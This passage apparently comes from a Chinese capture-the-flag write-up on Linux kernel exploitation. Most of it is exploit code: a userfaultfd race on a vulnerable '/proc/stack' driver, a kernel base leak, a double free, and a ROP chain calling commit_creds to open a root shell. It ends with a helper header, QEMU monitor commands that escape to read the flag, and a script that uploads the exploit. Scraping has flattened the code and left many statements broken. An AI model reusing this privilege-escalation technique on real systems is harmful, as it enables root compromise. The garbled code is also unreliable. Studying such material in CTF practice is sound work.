nread;long ) arg;for  (;;) struct  pollfd  pollfd;int  nready;poll (&pollfd, 1 , -1 );if  (nready == -1 )errExit ("poll" );read (uffd, &msg, sizeof (msg));if  (nread == 0 )errExit ("EOF on userfaultfd!\n" );if  (nread == -1 )errExit ("read" );if  (msg.event != UFFD_EVENT_PAGEFAULT)errExit ("Unexpected event on userfaultfd\n" );puts ("[*] setxattr trapped in userfaultfd." );puts ("[*] trigger now..." );for  (int  i = 0 ; i < 100 ; i++)close (seq_fd_reserve[i]);0xffffffff81069e00  + kernel_offset;0xffffffff81069c10  + kernel_offset;0x10 ;printf ("[*] gadget: %p\n" , swapgs_restore_regs_and_return_to_usermode);"mov r15,   0xbeefdead;" "mov r14,   0x11111111;" "mov r13,   pop_rdi_ret;" "mov r12,   0;" "mov rbp,   prepare_kernel_cred;" "mov rbx,   mov_rdi_rax_pop_rbp_ret;"     "mov r11,   0x66666666;" "mov r10,   commit_creds;" "mov r9,    swapgs_restore_regs_and_return_to_usermode;" "mov r8,    0x99999999;" "xor rax,   rax;" "mov rcx,   0xaaaaaaaa;" "mov rdx,   8;" "mov rsi,   rsp;" "mov rdi,   seq_fd;" "syscall" puts ("[+] back to userland successfully!" );printf ("[+] uid: %d gid: %d\n" , getuid (), getgid ());puts ("[*] execve root shell now..." );system ("/bin/sh" );unsigned  long ) page;unsigned  long ) msg.arg.pagefault.address &1 );0 ;0 ;if  (ioctl (uffd, UFFDIO_COPY, &uffdio_copy) == -1 )errExit ("ioctl-UFFDIO_COPY" );return  NULL ;void  push (char  *data) if  (ioctl (dev_fd, 0x57AC0001 , data) < 0 )errExit ("push!" );void  pop (char  *data) if  (ioctl (dev_fd, 0x57AC0002 , data) < 0 )errExit ("pop!" );int  main () size_t       data[0x10 ];char         *uffd_buf_leak;char         *uffd_buf_uaf;char         *uffd_buf_hack;int          pipe_fd[2 ];int          shm_id;char         *shm_addr;open ("/proc/stack" , O_RDWR);malloc (0x1000 );sysconf (_SC_PAGE_SIZE);for  (int  i = 0 ; i < 100 ; i++)if  ((seq_fd_reserve[i] = open ("/proc/self/stat" , O_RDONLY)) < 0 )errExit ("seq reserve!" );char *) mmap (NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );registerUserFaultFd (uffd_buf_leak, page_size, leak_thread);shmget (114514 , 0x1000 , SHM_R | SHM_W | IPC_CREAT);if  (shm_id < 0 )errExit ("shmget!" );shmat (shm_id, NULL , 0 );if  (shm_addr < 0 )errExit ("shmat!" );if (shmdt (shm_addr) < 0 )errExit ("shmdt!" );push (uffd_buf_leak);printf ("[+] kernel offset: %p\n" , kernel_offset);printf ("[+] kernel base: %p\n" , kernel_base);char *) mmap (NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );registerUserFaultFd (uffd_buf_uaf, page_size, double_free_thread);push ("7c00" );pop (uffd_buf_uaf);char *) mmap (NULL , page_size * 2 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );registerUserFaultFd (uffd_buf_hack + page_size, page_size, hijack_thread);printf ("[*] gadget: %p\n" , 0xffffffff814d51c0  + kernel_offset);size_t  *)(uffd_buf_hack + page_size - 8 ) = 0xffffffff814d51c0  + kernel_offset;open ("/proc/self/stat" , O_RDONLY);setxattr ("/flag" , "7c00" , uffd_buf_hack + page_size - 8 , 32 , 0 );
kernelpwn.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 #include  <sys/types.h>  #include  <stdio.h>  #include  <linux/userfaultfd.h>  #include  <pthread.h>  #include  <errno.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <fcntl.h>  #include  <signal.h>  #include  <poll.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/syscall.h>  #include  <sys/ioctl.h>  #include  <sys/sem.h>  #include  <semaphore.h>  #include  <poll.h>  void  * kernel_base = 0xffffffff81000000 ;size_t  kernel_offset = 0 ;static  pthread_t  monitor_thread;void  errExit (char  * msg) printf ("\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg);exit (EXIT_FAILURE);void  registerUserFaultFd (void  * addr, unsigned  long  len, void  (*handler)(void *)) long  uffd;struct  uffdio_api  uffdio_api;struct  uffdio_register  uffdio_register;int  s;syscall (__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if  (uffd == -1 )errExit ("userfaultfd" );0 ;if  (ioctl (uffd, UFFDIO_API, &uffdio_api) == -1 )errExit ("ioctl-UFFDIO_API" );unsigned  long ) addr;if  (ioctl (uffd, UFFDIO_REGISTER, &uffdio_register) == -1 )errExit ("ioctl-UFFDIO_REGISTER" );pthread_create (&monitor_thread, NULL , handler, (void  *) uffd);if  (s != 0 )errExit ("pthread_create" );size_t  user_cs, user_ss, user_rflags, user_sp;void  saveStatus () "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" );size_t  commit_creds = NULL , prepare_kernel_cred = NULL ;void  getRootPrivilige (void ) void  * (*prepare_kernel_cred_ptr)(void  *) = prepare_kernel_cred;int  (*commit_creds_ptr)(void  *) = commit_creds;NULL ));void  getRootShell (void ) puts ("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m" );if (getuid ())puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" );exit (-1 );puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" );system ("/bin/sh" );exit (0 );struct  file_operations ;struct  tty_struct ;struct  tty_driver ;struct  serial_icounter_struct ;struct  tty_operations  {struct  tty_struct  * (*lookup)(struct  tty_driver *driver,struct  file *filp, int  idx);int   (*install)(struct  tty_driver *driver, struct  tty_struct *tty);void  (*remove)(struct  tty_driver *driver, struct  tty_struct *tty);int   (*open)(struct  tty_struct * tty, struct  file * filp);void  (*close)(struct  tty_struct * tty, struct  file * filp);void  (*shutdown)(struct  tty_struct *tty);void  (*cleanup)(struct  tty_struct *tty);int   (*write)(struct  tty_struct * tty,const  unsigned  char  *buf, int  count);int   (*put_char)(struct  tty_struct *tty, unsigned  char  ch);void  (*flush_chars)(struct  tty_struct *tty);int   (*write_room)(struct  tty_struct *tty);int   (*chars_in_buffer)(struct  tty_struct *tty);int   (*ioctl)(struct  tty_struct *tty,unsigned  int  cmd, unsigned  long  arg);long  (*compat_ioctl)(struct  tty_struct *tty,unsigned  int  cmd, unsigned  long  arg);void  (*set_termios)(struct  tty_struct *tty, struct  ktermios * old);void  (*throttle)(struct  tty_struct * tty);void  (*unthrottle)(struct  tty_struct * tty);void  (*stop)(struct  tty_struct *tty);void  (*start)(struct  tty_struct *tty);void  (*hangup)(struct  tty_struct *tty);int  (*break_ctl)(struct  tty_struct *tty, int  state);void  (*flush_buffer)(struct  tty_struct *tty);void  (*set_ldisc)(struct  tty_struct *tty);void  (*wait_until_sent)(struct  tty_struct *tty, int  timeout);void  (*send_xchar)(struct  tty_struct *tty, char  ch);int  (*tiocmget)(struct  tty_struct *tty);int  (*tiocmset)(struct  tty_struct *tty,unsigned  int  set, unsigned  int  clear);int  (*resize)(struct  tty_struct *tty, struct  winsize *ws);int  (*set_termiox)(struct  tty_struct *tty, struct  termiox *tnew);int  (*get_icount)(struct  tty_struct *tty,struct  serial_icounter_struct *icount);void  (*show_fdinfo)(struct  tty_struct *tty, struct  seq_file *m);#ifdef  CONFIG_CONSOLE_POLL int  (*poll_init)(struct  tty_driver *driver, int  line, char  *options);int  (*poll_get_char)(struct  tty_driver *driver, int  line);void  (*poll_put_char)(struct  tty_driver *driver, int  line, char  ch);#endif  const  struct  file_operations  *proc_fops;
一些小trick 没有使用-monitor /dev/null将monitor重定向 没有使用-monitor /dev/null将monitor重定向,可以直接进入monitor导出docker中的文件系统
在启动qemu后点击ctrl+a后再按c即可进入monitor控制台
1 2 3 4 migrate  "exec:cp rootfs.cpio /tmp" "exec:cd /tmp;ls 1>&2" "exec:cd /tmp;cpio -idmv < rootfs.cpio 1>&2" "exec:cat /tmp/flag 1>&2" 
发送exp脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from  pwn import  *import  sysimport  os'debug' '/ $ ' './start.sh' )'stty -echo' )system ('musl-gcc  -static -O2 exp.c -o exp' )system ('tar -cvf exp.tar.gz exp' )'cat <<EOF > /tmp/exp.tar.gz.b64' ) #heredoc'exp.tar.gz' )).encode('base64' ))'EOF' )'cd /tmp/' )'base64 -d /tmp/exp.tar.gz.b64 > /tmp/exp.tar.gz' )'tar -xvf /tmp/exp.tar.gz -C /tmp/' )'chmod +x /tmp/exp' )'/tmp/exp' )'whoami' )
自己手动填入添加注释的这几条语句,否则有可能会出错。有可能根目录下没有创建新文件的权限,所以最好在/tmp/目录下创建。